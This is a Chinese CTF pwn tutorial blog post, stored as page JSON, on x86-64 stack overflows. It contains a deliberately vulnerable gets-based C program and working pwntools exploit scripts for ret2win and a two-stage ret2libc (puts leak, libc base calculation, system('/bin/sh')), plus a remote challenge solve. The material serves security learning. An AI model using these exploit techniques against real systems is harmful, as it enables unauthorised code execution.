[{"data":1,"prerenderedAt":14549},["ShallowReactive",2],{"blog-post-/blogs/ctf-pwn-stack-overflow-rop-deep-dive":3,"all-blogs-for-navigation":1274},{"id":4,"title":5,"body":6,"description":1260,"extension":1261,"meta":1262,"navigation":141,"ogImage":1264,"path":1270,"seo":1271,"stem":1272,"__hash__":1273},"content/blogs/17. ctf-pwn-stack-overflow-rop-deep-dive.md","栈溢出与 ROP 深入实战：偏移、ret2win 与 ret2libc",{"type":7,"value":8,"toc":1247},"minimark",[9,14,33,36,40,110,114,120,235,238,264,268,275,281,297,300,308,311,375,379,385,391,394,397,409,470,472,478,492,496,501,567,570,583,586,592,613,617,623,626,659,661,667,680,686,690,698,703,712,717,723,727,1022,1025,1031,1035,1084,1088,1161,1165,1178,1221,1223,1229,1233,1243],[10,11,13],"h3",{"id":12},"一现实背景缓冲区溢出","一、现实背景：缓冲区溢出",[15,16,17,21,22,21,25,28,29,32],"p",{},[18,19,20],"code",{},"gets","、",[18,23,24],{},"strcpy",[18,26,27],{},"sprintf"," 不校验写入长度。输入超过缓冲区容量时，数据覆盖相邻内存，包括函数的返回地址。程序 ",[18,30,31],{},"ret"," 时跳到被覆盖的地址执行——这就是栈溢出的核心。",[15,34,35],{},"本文环境：Linux（Kali/Ubuntu），x86-64 架构，这是 CTF Pwn 的标准环境。",[10,37,39],{"id":38},"二环境准备","二、环境准备",[41,42,47],"pre",{"className":43,"code":44,"language":45,"meta":46,"style":46},"language-bash shiki shiki-themes dracula","apt install gcc gdb\npip3 install pwntools ROPgadget\ngit clone https://github.com/pwndbg/pwndbg && cd pwndbg && ./setup.sh\n","bash","",[18,48,49,68,82],{"__ignoreMap":46},[50,51,54,58,62,65],"span",{"class":52,"line":53},"line",1,[50,55,57],{"class":56},"sAOxA","apt",[50,59,61],{"class":60},"s-mGx"," install",[50,63,64],{"class":60}," gcc",[50,66,67],{"class":60}," gdb\n",[50,69,71,74,76,79],{"class":52,"line":70},2,[50,72,73],{"class":56},"pip3",[50,75,61],{"class":60},[50,77,78],{"class":60}," pwntools",[50,80,81],{"class":60}," ROPgadget\n",[50,83,85,88,91,94,98,102,105,107],{"class":52,"line":84},3,[50,86,87],{"class":56},"git",[50,89,90],{"class":60}," clone",[50,92,93],{"class":60}," https://github.com/pwndbg/pwndbg",[50,95,97],{"class":96},"sCdxs"," && ",[50,99,101],{"class":100},"sLL85","cd",[50,103,104],{"class":60}," pwndbg",[50,106,97],{"class":96},[50,108,109],{"class":56},"./setup.sh\n",[10,111,113],{"id":112},"三漏洞程序与编译","三、漏洞程序与编译",[15,115,116,119],{},[18,117,118],{},"vuln.c","：",[41,121,125],{"className":122,"code":123,"language":124,"meta":46,"style":46},"language-c shiki shiki-themes dracula","#include \u003Cstdio.h>\n#include \u003Cstdlib.h>\n\nvoid win() {\n    system(\"/bin/sh\");\n}\n\nvoid vuln() {\n    char buf[32];\n    gets(buf);\n}\n\nint main() {\n    setvbuf(stdout, NULL, _IONBF, 0);\n    puts(\"Hello, what's your name?\");\n    vuln();\n    puts(\"Bye!\");\n    return 0;\n}\n","c",[18,126,127,132,137,143,149,155,161,166,172,178,184,189,194,200,206,212,218,224,230],{"__ignoreMap":46},[50,128,129],{"class":52,"line":53},[50,130,131],{},"#include \u003Cstdio.h>\n",[50,133,134],{"class":52,"line":70},[50,135,136],{},"#include \u003Cstdlib.h>\n",[50,138,139],{"class":52,"line":84},[50,140,142],{"emptyLinePlaceholder":141},true,"\n",[50,144,146],{"class":52,"line":145},4,[50,147,148],{},"void win() {\n",[50,150,152],{"class":52,"line":151},5,[50,153,154],{},"    system(\"/bin/sh\");\n",[50,156,158],{"class":52,"line":157},6,[50,159,160],{},"}\n",[50,162,164],{"class":52,"line":163},7,[50,165,142],{"emptyLinePlaceholder":141},[50,167,169],{"class":52,"line":168},8,[50,170,171],{},"void vuln() {\n",[50,173,175],{"class":52,"line":174},9,[50,176,177],{},"    char buf[32];\n",[50,179,181],{"class":52,"line":180},10,[50,182,183],{},"    gets(buf);\n",[50,185,187],{"class":52,"line":186},11,[50,188,160],{},[50,190,192],{"class":52,"line":191},12,[50,193,142],{"emptyLinePlaceholder":141},[50,195,197],{"class":52,"line":196},13,[50,198,199],{},"int main() {\n",[50,201,203],{"class":52,"line":202},14,[50,204,205],{},"    setvbuf(stdout, NULL, _IONBF, 0);\n",[50,207,209],{"class":52,"line":208},15,[50,210,211],{},"    puts(\"Hello, what's your name?\");\n",[50,213,215],{"class":52,"line":214},16,[50,216,217],{},"    vuln();\n",[50,219,221],{"class":52,"line":220},17,[50,222,223],{},"    puts(\"Bye!\");\n",[50,225,227],{"class":52,"line":226},18,[50,228,229],{},"    return 0;\n",[50,231,233],{"class":52,"line":232},19,[50,234,160],{},[15,236,237],{},"编译：",[41,239,241],{"className":43,"code":240,"language":45,"meta":46,"style":46},"gcc -o vuln vuln.c -fno-stack-protector -no-pie\n",[18,242,243],{"__ignoreMap":46},[50,244,245,248,252,255,258,261],{"class":52,"line":53},[50,246,247],{"class":56},"gcc",[50,249,251],{"class":250},"sIQBb"," -o",[50,253,254],{"class":60}," vuln",[50,256,257],{"class":60}," vuln.c",[50,259,260],{"class":250}," -fno-stack-protector",[50,262,263],{"class":250}," -no-pie\n",[10,265,267],{"id":266},"四核心步骤-1checksec","四、核心步骤 1：checksec",[15,269,270,274],{},[271,272,273],"strong",{},"目的","：开打前判断这条路能否走通，避免构造无效 payload。",[15,276,277,280],{},[271,278,279],{},"思路","：No canary → 可以直接覆盖返回地址；No PIE → win 地址写死可用；NX 开启 → 本阶段不打 shellcode，后面用 ROP。",[41,282,284],{"className":43,"code":283,"language":45,"meta":46,"style":46},"pwn checksec ./vuln\n",[18,285,286],{"__ignoreMap":46},[50,287,288,291,294],{"class":52,"line":53},[50,289,290],{"class":56},"pwn",[50,292,293],{"class":60}," checksec",[50,295,296],{"class":60}," ./vuln\n",[15,298,299],{},"预期输出：",[41,301,306],{"className":302,"code":304,"language":305,"meta":46},[303],"language-text","Arch:     amd64-64-little\nRELRO:    Partial RELRO\nStack:    No canary found\nNX:       NX enabled\nPIE:      No PIE (0x400000)\n","text",[18,307,304],{"__ignoreMap":46},[15,309,310],{},"逐行含义：",[312,313,314,327],"table",{},[315,316,317],"thead",{},[318,319,320,324],"tr",{},[321,322,323],"th",{},"输出",[321,325,326],{},"含义",[328,329,330,341,351,365],"tbody",{},[318,331,332,338],{},[333,334,335],"td",{},[18,336,337],{},"No canary found",[333,339,340],{},"无栈金丝雀，可覆盖返回地址",[318,342,343,348],{},[333,344,345],{},[18,346,347],{},"NX enabled",[333,349,350],{},"栈不可执行，不能直接放 shellcode",[318,352,353,358],{},[333,354,355],{},[18,356,357],{},"No PIE",[333,359,360,361,364],{},"程序地址固定，",[18,362,363],{},"win"," 地址可直接写死",[318,366,367,372],{},[333,368,369],{},[18,370,371],{},"Partial RELRO",[333,373,374],{},"GOT 可写（本阶段用不到）",[10,376,378],{"id":377},"五核心步骤-2栈布局与偏移","五、核心步骤 2：栈布局与偏移",[15,380,381,384],{},[18,382,383],{},"vuln"," 栈帧自低到高：",[41,386,389],{"className":387,"code":388,"language":305,"meta":46},[303],"┌──────────────────────┐\n│  buf[32]             │  ← gets 写入起点\n├──────────────────────┤\n│  对齐填充             │\n├──────────────────────┤\n│  saved rbp（8 字节）   │\n├──────────────────────┤\n│  返回地址（8 字节）     │  ← 目标\n└──────────────────────┘\n",[18,390,388],{"__ignoreMap":46},[15,392,393],{},"偏移 = 32 + 8 = 40。",[15,395,396],{},"用 pwntools 验证：",[15,398,399,119,401,404,405,408],{},[271,400,279],{},[18,402,403],{},"cyclic"," 生成无重复模式串，程序崩溃时 rip 的值取自模式串；",[18,406,407],{},"cyclic_find"," 反查位置，即\"从输入开头到返回地址的距离\"。",[41,410,414],{"className":411,"code":412,"language":413,"meta":46,"style":46},"language-python shiki shiki-themes dracula","from pwn import *\n\np = process('./vuln')\np.sendline(cyclic(200))\n# cyclic(200)：生成 200 字节无重复模式串，发出去覆盖栈。\np.wait()\n# 等进程崩溃退出，生成 core 文件供读取。\noffset = cyclic_find(p.corefile.fault_addr)\n# p.corefile.fault_addr：崩溃时 rip 的值。\n# cyclic_find：返回该值在模式串中的下标 = 到返回地址的偏移。\nprint(\"offset =\", offset)\n","python",[18,415,416,421,425,430,435,440,445,450,455,460,465],{"__ignoreMap":46},[50,417,418],{"class":52,"line":53},[50,419,420],{},"from pwn import *\n",[50,422,423],{"class":52,"line":70},[50,424,142],{"emptyLinePlaceholder":141},[50,426,427],{"class":52,"line":84},[50,428,429],{},"p = process('./vuln')\n",[50,431,432],{"class":52,"line":145},[50,433,434],{},"p.sendline(cyclic(200))\n",[50,436,437],{"class":52,"line":151},[50,438,439],{},"# cyclic(200)：生成 200 字节无重复模式串，发出去覆盖栈。\n",[50,441,442],{"class":52,"line":157},[50,443,444],{},"p.wait()\n",[50,446,447],{"class":52,"line":163},[50,448,449],{},"# 等进程崩溃退出，生成 core 文件供读取。\n",[50,451,452],{"class":52,"line":168},[50,453,454],{},"offset = cyclic_find(p.corefile.fault_addr)\n",[50,456,457],{"class":52,"line":174},[50,458,459],{},"# p.corefile.fault_addr：崩溃时 rip 的值。\n",[50,461,462],{"class":52,"line":180},[50,463,464],{},"# cyclic_find：返回该值在模式串中的下标 = 到返回地址的偏移。\n",[50,466,467],{"class":52,"line":186},[50,468,469],{},"print(\"offset =\", offset)\n",[15,471,299],{},[41,473,476],{"className":474,"code":475,"language":305,"meta":46},[303],"offset = 40\n",[18,477,475],{"__ignoreMap":46},[15,479,480,481,484,485,488,489,491],{},"原理：",[18,482,483],{},"cyclic(200)"," 生成无重复的模式串；程序崩溃时 ",[18,486,487],{},"rip"," 的值必然是模式串中的 4/8 字节，",[18,490,407],{}," 返回它在模式串中的位置，即到返回地址的距离。",[10,493,495],{"id":494},"六核心步骤-3ret2win","六、核心步骤 3：ret2win",[15,497,498,500],{},[271,499,273],{},"：把返回地址改成 win，验证控制流劫持成功。",[41,502,504],{"className":411,"code":503,"language":413,"meta":46,"style":46},"from pwn import *\n\nelf = ELF('./vuln')\np = process('./vuln')\n\np.recvuntil(b'name?')\n# recvuntil(b'name?')：读到提示字符串为止，确保 gets 就绪。\npayload = b'A' * 40 + p64(elf.symbols['win'])\n# b'A'*40：填充缓冲区与 saved rbp。\n# p64(elf.symbols['win'])：win 地址转 8 字节小端，覆盖返回地址。\np.sendline(payload)\np.interactive()\n# interactive()：把终端接到进程，shell 可交互。\n",[18,505,506,510,514,519,523,527,532,537,542,547,552,557,562],{"__ignoreMap":46},[50,507,508],{"class":52,"line":53},[50,509,420],{},[50,511,512],{"class":52,"line":70},[50,513,142],{"emptyLinePlaceholder":141},[50,515,516],{"class":52,"line":84},[50,517,518],{},"elf = ELF('./vuln')\n",[50,520,521],{"class":52,"line":145},[50,522,429],{},[50,524,525],{"class":52,"line":151},[50,526,142],{"emptyLinePlaceholder":141},[50,528,529],{"class":52,"line":157},[50,530,531],{},"p.recvuntil(b'name?')\n",[50,533,534],{"class":52,"line":163},[50,535,536],{},"# recvuntil(b'name?')：读到提示字符串为止，确保 gets 就绪。\n",[50,538,539],{"class":52,"line":168},[50,540,541],{},"payload = b'A' * 40 + p64(elf.symbols['win'])\n",[50,543,544],{"class":52,"line":174},[50,545,546],{},"# b'A'*40：填充缓冲区与 saved rbp。\n",[50,548,549],{"class":52,"line":180},[50,550,551],{},"# p64(elf.symbols['win'])：win 地址转 8 字节小端，覆盖返回地址。\n",[50,553,554],{"class":52,"line":186},[50,555,556],{},"p.sendline(payload)\n",[50,558,559],{"class":52,"line":191},[50,560,561],{},"p.interactive()\n",[50,563,564],{"class":52,"line":196},[50,565,566],{},"# interactive()：把终端接到进程，shell 可交互。\n",[15,568,569],{},"运行：",[41,571,573],{"className":43,"code":572,"language":45,"meta":46,"style":46},"python3 exploit.py\n",[18,574,575],{"__ignoreMap":46},[50,576,577,580],{"class":52,"line":53},[50,578,579],{"class":56},"python3",[50,581,582],{"class":60}," exploit.py\n",[15,584,585],{},"预期结果：",[41,587,590],{"className":588,"code":589,"language":305,"meta":46},[303],"[*] Switching to interactive mode\n$ id\nuid=1000(ctf) gid=1000(ctf) groups=1000(ctf)\n",[18,591,589],{"__ignoreMap":46},[15,593,594,595,597,598,600,601,603,604,606,607,600,609,612],{},"执行过程：",[18,596,20],{}," 把 48 字节写入 buf → 前 40 字节填满 buf+saved rbp → 后 8 字节覆盖返回地址为 ",[18,599,363],{}," → ",[18,602,383],{}," 的 ",[18,605,31],{}," 跳到 ",[18,608,363],{},[18,610,611],{},"system(\"/bin/sh\")"," 弹 shell。",[10,614,616],{"id":615},"七进阶nx-与-rop","七、进阶：NX 与 ROP",[15,618,619,620,622],{},"NX 开启后栈不可执行，但代码段可执行。ROP（Return-Oriented Programming）把程序里已有的、以 ",[18,621,31],{}," 结尾的指令片段（gadget）串起来执行。",[15,624,625],{},"找 gadget：",[41,627,629],{"className":43,"code":628,"language":45,"meta":46,"style":46},"ROPgadget --binary ./vuln | grep \"pop rdi\"\n",[18,630,631],{"__ignoreMap":46},[50,632,633,636,639,642,646,649,653,656],{"class":52,"line":53},[50,634,635],{"class":56},"ROPgadget",[50,637,638],{"class":250}," --binary",[50,640,641],{"class":60}," ./vuln",[50,643,645],{"class":644},"s0Tla"," |",[50,647,648],{"class":56}," grep",[50,650,652],{"class":651},"seVfx"," \"",[50,654,655],{"class":60},"pop rdi",[50,657,658],{"class":651},"\"\n",[15,660,299],{},[41,662,665],{"className":663,"code":664,"language":305,"meta":46},[303],"0x0000000000401233 : pop rdi ; ret\n",[18,666,664],{"__ignoreMap":46},[15,668,669,672,673,676,677,679],{},[18,670,671],{},"pop rdi; ret"," 的作用：把栈上的下一个 8 字节弹进 ",[18,674,675],{},"rdi","（x86-64 的第一个参数寄存器），然后 ",[18,678,31],{}," 跳到下个地址。栈上布局：",[41,681,684],{"className":682,"code":683,"language":305,"meta":46},[303],"[pop rdi; ret] [参数] [要调用的函数] [下一 gadget] ...\n",[18,685,683],{"__ignoreMap":46},[10,687,689],{"id":688},"八进阶ret2libc","八、进阶：ret2libc",[15,691,692,694,695,697],{},[271,693,273],{},"：程序内没有目标函数时，改调 libc 的 ",[18,696,611],{},"。",[15,699,700,702],{},[271,701,279],{},"：ASLR 让 libc 基址随机，但\"符号在 libc 内的偏移\"固定。先泄露一个已知符号（puts）的真实地址，反推基址，再计算 system 与 \"/bin/sh\" 的地址。验证方式：第一段打印出的 puts 地址与 libc 文件里查到的偏移做差，得到的基址应当是 0x...000 结尾。",[15,704,705,706,708,709,711],{},"程序里没有 ",[18,707,363],{}," 时，改调 libc 里的 ",[18,710,611],{},"。libc 基址被 ASLR 随机化，解决方法是\"先泄露，再计算\"。",[713,714,716],"h4",{"id":715},"_81-原理","8.1 原理",[41,718,721],{"className":719,"code":720,"language":305,"meta":46},[303],"泄露 puts 的真实地址（调用 puts(puts@got)）\nlibc 基址 = puts 真实地址 - puts 在 libc 中的偏移\nsystem 地址 = libc 基址 + system 偏移\n\"/bin/sh\" 地址 = libc 基址 + 字符串偏移\n",[18,722,720],{"__ignoreMap":46},[713,724,726],{"id":725},"_82-完整脚本","8.2 完整脚本",[41,728,730],{"className":411,"code":729,"language":413,"meta":46,"style":46},"from pwn import *\n\ncontext.log_level = 'error'\n# 只显示错误，减少调试信息刷屏。\n\nelf = ELF('./vuln')\nlibc = ELF('/lib/x86_64-linux-gnu/libc.so.6')\n# 本地 libc 文件；远程题目若提供 libc，这里换成对应的文件路径。\np = process('./vuln')\n\noffset = 40\npop_rdi = 0x401233        # ROPgadget 搜到的 \"pop rdi; ret\" 地址\nret = 0x40101a            # 任意 \"ret\" 地址，用于栈 16 字节对齐\n\n# 第一阶段：泄露 puts 地址并返回 main\npayload1 = b'A' * offset\npayload1 += p64(ret)\n# 先执行一个 ret：让栈指针再弹 8 字节，满足 system 的 16 字节对齐要求。\npayload1 += p64(pop_rdi)\npayload1 += p64(elf.got['puts'])\n# got['puts']：GOT 里存放 puts 真实地址的内存位置。\npayload1 += p64(elf.plt['puts'])\n# plt['puts']：调用 puts 的入口；执行后相当于 puts(puts@got)，打印真实地址。\npayload1 += p64(elf.symbols['main'])\n# 回到 main，让程序再读一次输入，进行第二阶段。\n\np.recvuntil(b'name?')\np.sendline(payload1)\n\nleak = u64(p.recvline().strip().ljust(8, b'\\x00'))\n# recvline()：读一行（puts 输出后带换行）。\n# strip()：去掉换行；ljust(8, b'\\x00')：不足 8 字节用 \\x00 补齐。\n# u64()：8 字节小端转成整数，即 puts 的真实地址。\nprint(\"puts:\", hex(leak))\n\nlibc.address = leak - libc.symbols['puts']\n# libc.symbols['puts']：puts 在 libc 文件内的固定偏移。\n# 真实地址 - 偏移 = libc 基址；给 libc.address 赋值后，\n# 后面的 libc.symbols['system'] 会自动加上基址。\nprint(\"libc base:\", hex(libc.address))\n\n# 第二阶段：system(\"/bin/sh\")\npayload2 = b'A' * offset\npayload2 += p64(ret)\npayload2 += p64(pop_rdi)\npayload2 += p64(next(libc.search(b'/bin/sh')))\n# libc.search(b'/bin/sh')：在 libc 里找该字符串的所有位置；\n# next(...) 取第一个位置（偏移），libc.address 赋值后自动加基址。\npayload2 += p64(libc.symbols['system'])\n# 调用 system(\"/bin/sh\")。\n\np.sendlineafter(b'name?', payload2)\n# sendlineafter：先等提示再发送，保证时序正确。\np.interactive()\n",[18,731,732,736,740,745,750,754,758,763,768,772,776,780,785,790,794,799,804,809,814,819,825,831,837,843,849,855,860,865,871,876,882,888,894,900,906,911,917,923,929,935,941,946,952,958,964,970,976,982,988,994,1000,1005,1011,1017],{"__ignoreMap":46},[50,733,734],{"class":52,"line":53},[50,735,420],{},[50,737,738],{"class":52,"line":70},[50,739,142],{"emptyLinePlaceholder":141},[50,741,742],{"class":52,"line":84},[50,743,744],{},"context.log_level = 'error'\n",[50,746,747],{"class":52,"line":145},[50,748,749],{},"# 只显示错误，减少调试信息刷屏。\n",[50,751,752],{"class":52,"line":151},[50,753,142],{"emptyLinePlaceholder":141},[50,755,756],{"class":52,"line":157},[50,757,518],{},[50,759,760],{"class":52,"line":163},[50,761,762],{},"libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')\n",[50,764,765],{"class":52,"line":168},[50,766,767],{},"# 本地 libc 文件；远程题目若提供 libc，这里换成对应的文件路径。\n",[50,769,770],{"class":52,"line":174},[50,771,429],{},[50,773,774],{"class":52,"line":180},[50,775,142],{"emptyLinePlaceholder":141},[50,777,778],{"class":52,"line":186},[50,779,475],{},[50,781,782],{"class":52,"line":191},[50,783,784],{},"pop_rdi = 0x401233        # ROPgadget 搜到的 \"pop rdi; ret\" 地址\n",[50,786,787],{"class":52,"line":196},[50,788,789],{},"ret = 0x40101a            # 任意 \"ret\" 地址，用于栈 16 字节对齐\n",[50,791,792],{"class":52,"line":202},[50,793,142],{"emptyLinePlaceholder":141},[50,795,796],{"class":52,"line":208},[50,797,798],{},"# 第一阶段：泄露 puts 地址并返回 main\n",[50,800,801],{"class":52,"line":214},[50,802,803],{},"payload1 = b'A' * offset\n",[50,805,806],{"class":52,"line":220},[50,807,808],{},"payload1 += p64(ret)\n",[50,810,811],{"class":52,"line":226},[50,812,813],{},"# 先执行一个 ret：让栈指针再弹 8 字节，满足 system 的 16 字节对齐要求。\n",[50,815,816],{"class":52,"line":232},[50,817,818],{},"payload1 += p64(pop_rdi)\n",[50,820,822],{"class":52,"line":821},20,[50,823,824],{},"payload1 += p64(elf.got['puts'])\n",[50,826,828],{"class":52,"line":827},21,[50,829,830],{},"# got['puts']：GOT 里存放 puts 真实地址的内存位置。\n",[50,832,834],{"class":52,"line":833},22,[50,835,836],{},"payload1 += p64(elf.plt['puts'])\n",[50,838,840],{"class":52,"line":839},23,[50,841,842],{},"# plt['puts']：调用 puts 的入口；执行后相当于 puts(puts@got)，打印真实地址。\n",[50,844,846],{"class":52,"line":845},24,[50,847,848],{},"payload1 += p64(elf.symbols['main'])\n",[50,850,852],{"class":52,"line":851},25,[50,853,854],{},"# 回到 main，让程序再读一次输入，进行第二阶段。\n",[50,856,858],{"class":52,"line":857},26,[50,859,142],{"emptyLinePlaceholder":141},[50,861,863],{"class":52,"line":862},27,[50,864,531],{},[50,866,868],{"class":52,"line":867},28,[50,869,870],{},"p.sendline(payload1)\n",[50,872,874],{"class":52,"line":873},29,[50,875,142],{"emptyLinePlaceholder":141},[50,877,879],{"class":52,"line":878},30,[50,880,881],{},"leak = u64(p.recvline().strip().ljust(8, b'\\x00'))\n",[50,883,885],{"class":52,"line":884},31,[50,886,887],{},"# recvline()：读一行（puts 输出后带换行）。\n",[50,889,891],{"class":52,"line":890},32,[50,892,893],{},"# strip()：去掉换行；ljust(8, b'\\x00')：不足 8 字节用 \\x00 补齐。\n",[50,895,897],{"class":52,"line":896},33,[50,898,899],{},"# u64()：8 字节小端转成整数，即 puts 的真实地址。\n",[50,901,903],{"class":52,"line":902},34,[50,904,905],{},"print(\"puts:\", hex(leak))\n",[50,907,909],{"class":52,"line":908},35,[50,910,142],{"emptyLinePlaceholder":141},[50,912,914],{"class":52,"line":913},36,[50,915,916],{},"libc.address = leak - libc.symbols['puts']\n",[50,918,920],{"class":52,"line":919},37,[50,921,922],{},"# libc.symbols['puts']：puts 在 libc 文件内的固定偏移。\n",[50,924,926],{"class":52,"line":925},38,[50,927,928],{},"# 真实地址 - 偏移 = libc 基址；给 libc.address 赋值后，\n",[50,930,932],{"class":52,"line":931},39,[50,933,934],{},"# 后面的 libc.symbols['system'] 会自动加上基址。\n",[50,936,938],{"class":52,"line":937},40,[50,939,940],{},"print(\"libc base:\", hex(libc.address))\n",[50,942,944],{"class":52,"line":943},41,[50,945,142],{"emptyLinePlaceholder":141},[50,947,949],{"class":52,"line":948},42,[50,950,951],{},"# 第二阶段：system(\"/bin/sh\")\n",[50,953,955],{"class":52,"line":954},43,[50,956,957],{},"payload2 = b'A' * offset\n",[50,959,961],{"class":52,"line":960},44,[50,962,963],{},"payload2 += p64(ret)\n",[50,965,967],{"class":52,"line":966},45,[50,968,969],{},"payload2 += p64(pop_rdi)\n",[50,971,973],{"class":52,"line":972},46,[50,974,975],{},"payload2 += p64(next(libc.search(b'/bin/sh')))\n",[50,977,979],{"class":52,"line":978},47,[50,980,981],{},"# libc.search(b'/bin/sh')：在 libc 里找该字符串的所有位置；\n",[50,983,985],{"class":52,"line":984},48,[50,986,987],{},"# next(...) 取第一个位置（偏移），libc.address 赋值后自动加基址。\n",[50,989,991],{"class":52,"line":990},49,[50,992,993],{},"payload2 += p64(libc.symbols['system'])\n",[50,995,997],{"class":52,"line":996},50,[50,998,999],{},"# 调用 system(\"/bin/sh\")。\n",[50,1001,1003],{"class":52,"line":1002},51,[50,1004,142],{"emptyLinePlaceholder":141},[50,1006,1008],{"class":52,"line":1007},52,[50,1009,1010],{},"p.sendlineafter(b'name?', payload2)\n",[50,1012,1014],{"class":52,"line":1013},53,[50,1015,1016],{},"# sendlineafter：先等提示再发送，保证时序正确。\n",[50,1018,1020],{"class":52,"line":1019},54,[50,1021,561],{},[15,1023,1024],{},"运行输出：",[41,1026,1029],{"className":1027,"code":1028,"language":305,"meta":46},[303],"puts: 0x7f8a2c3a5aa0\nlibc base: 0x7f8a2c328000\n[*] Switching to interactive mode\n$ id\n",[18,1030,1028],{"__ignoreMap":46},[713,1032,1034],{"id":1033},"_83-三个易错点","8.3 三个易错点",[1036,1037,1038,1059,1074],"ol",{},[1039,1040,1041,119,1044,1047,1048,1051,1052,1055,1056,697],"li",{},[271,1042,1043],{},"补零",[18,1045,1046],{},"puts"," 输出的地址以换行结尾，",[18,1049,1050],{},"strip()"," 去掉换行，",[18,1053,1054],{},"ljust(8, b'\\x00')"," 补到 8 字节再 ",[18,1057,1058],{},"u64",[1039,1060,1061,119,1064,1067,1068,1071,1072,697],{},[271,1062,1063],{},"对齐",[18,1065,1066],{},"system"," 内部使用 ",[18,1069,1070],{},"movaps","，要求栈 16 字节对齐，需要额外一个 ",[18,1073,31],{},[1039,1075,1076,1079,1080,1083],{},[271,1077,1078],{},"libc 版本","：远程题目若提供 libc，用 ",[18,1081,1082],{},"libc = ELF('./libc-2.27.so')","；否则在 libc.rip 输入泄露的地址查版本。",[10,1085,1087],{"id":1086},"九必学工具","九、必学工具",[312,1089,1090,1103],{},[315,1091,1092],{},[318,1093,1094,1097,1100],{},[321,1095,1096],{},"工具",[321,1098,1099],{},"3 个核心功能",[321,1101,1102],{},"示例",[328,1104,1105,1130,1142],{},[318,1106,1107,1110,1127],{},[333,1108,1109],{},"pwntools",[333,1111,1112,21,1115,1117,1118,21,1120,1123,1124],{},[18,1113,1114],{},"ELF()",[18,1116,403],{},"/",[18,1119,407],{},[18,1121,1122],{},"p64","+",[18,1125,1126],{},"sendline",[333,1128,1129],{},"见上文",[318,1131,1132,1134,1137],{},[333,1133,635],{},[333,1135,1136],{},"搜索 gadget、指定寄存器、输出地址",[333,1138,1139],{},[18,1140,1141],{},"ROPgadget --binary vuln | grep \"pop rdi\"",[318,1143,1144,1147,1150],{},[333,1145,1146],{},"GDB（pwndbg）",[333,1148,1149],{},"断点、看栈、查看崩溃点",[333,1151,1152,21,1155,21,1158],{},[18,1153,1154],{},"break vuln",[18,1156,1157],{},"x/20gx $rsp",[18,1159,1160],{},"bt",[10,1162,1164],{"id":1163},"十小-ctf-实战","十、小 CTF 实战",[15,1166,1167,1168,1171,1172,1174,1175,1177],{},"题目：",[18,1169,1170],{},"nc 1.2.3.4 10001"," 运行 ",[18,1173,383],{},"（No canary、No PIE，有 ",[18,1176,363],{},"）。",[41,1179,1181],{"className":411,"code":1180,"language":413,"meta":46,"style":46},"from pwn import *\n\nelf = ELF('./vuln')\np = remote('1.2.3.4', 10001)\n\npayload = b'A' * 40 + p64(elf.symbols['win'])\np.sendline(payload)\np.sendline(b'cat flag')\np.interactive()\n",[18,1182,1183,1187,1191,1195,1200,1204,1208,1212,1217],{"__ignoreMap":46},[50,1184,1185],{"class":52,"line":53},[50,1186,420],{},[50,1188,1189],{"class":52,"line":70},[50,1190,142],{"emptyLinePlaceholder":141},[50,1192,1193],{"class":52,"line":84},[50,1194,518],{},[50,1196,1197],{"class":52,"line":145},[50,1198,1199],{},"p = remote('1.2.3.4', 10001)\n",[50,1201,1202],{"class":52,"line":151},[50,1203,142],{"emptyLinePlaceholder":141},[50,1205,1206],{"class":52,"line":157},[50,1207,541],{},[50,1209,1210],{"class":52,"line":163},[50,1211,556],{},[50,1213,1214],{"class":52,"line":168},[50,1215,1216],{},"p.sendline(b'cat flag')\n",[50,1218,1219],{"class":52,"line":174},[50,1220,561],{},[15,1222,299],{},[41,1224,1227],{"className":1225,"code":1226,"language":305,"meta":46},[303],"flag{ret2win}\n",[18,1228,1226],{"__ignoreMap":46},[10,1230,1232],{"id":1231},"十一小结","十一、小结",[15,1234,1235,1236,1239,1240,1242],{},"栈溢出主线：",[18,1237,1238],{},"checksec"," 判断防护 → ",[18,1241,403],{}," 找偏移 → 覆盖返回地址。NX 出现后用 ROP，ASLR 出现后先泄露再计算。练熟 ret2win 与 ret2libc 即可覆盖大多数入门到中级 Pwn 题。",[1244,1245,1246],"style",{},"html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}",{"title":46,"searchDepth":70,"depth":70,"links":1248},[1249,1250,1251,1252,1253,1254,1255,1256,1257,1258,1259],{"id":12,"depth":84,"text":13},{"id":38,"depth":84,"text":39},{"id":112,"depth":84,"text":113},{"id":266,"depth":84,"text":267},{"id":377,"depth":84,"text":378},{"id":494,"depth":84,"text":495},{"id":615,"depth":84,"text":616},{"id":688,"depth":84,"text":689},{"id":1086,"depth":84,"text":1087},{"id":1163,"depth":84,"text":1164},{"id":1231,"depth":84,"text":1232},"栈溢出实践：编译与 checksec、cyclic 找偏移、ret2win 利用、PLT/GOT 与 ASLR 原理、ret2libc 泄露计算与完整脚本。","md",{"date":1263,"image":1264,"alt":1265,"tags":1266,"published":141},"14th Aug 2026","/blogs-img/blog8.png","栈溢出与 ROP 深入实战",[1267,290,1268,1269],"ctf","栈溢出","example","/blogs/ctf-pwn-stack-overflow-rop-deep-dive",{"title":5,"description":1260},"blogs/17. ctf-pwn-stack-overflow-rop-deep-dive","nXKz1FbP17Wgk_hN6NTnSqOWF8XUdJPumxZYT7_VJr8",[1275,2579,3385,4386,5339,6739,7798,8750,9652,10689,11668,12690],{"id":1276,"title":1277,"body":1278,"description":2569,"extension":1261,"meta":2570,"navigation":141,"ogImage":2571,"path":2575,"seo":2576,"stem":2577,"__hash__":2578},"content/blogs/10. ctf-reverse-overview.md","CTF 逆向入门：侦查、反汇编与 GDB 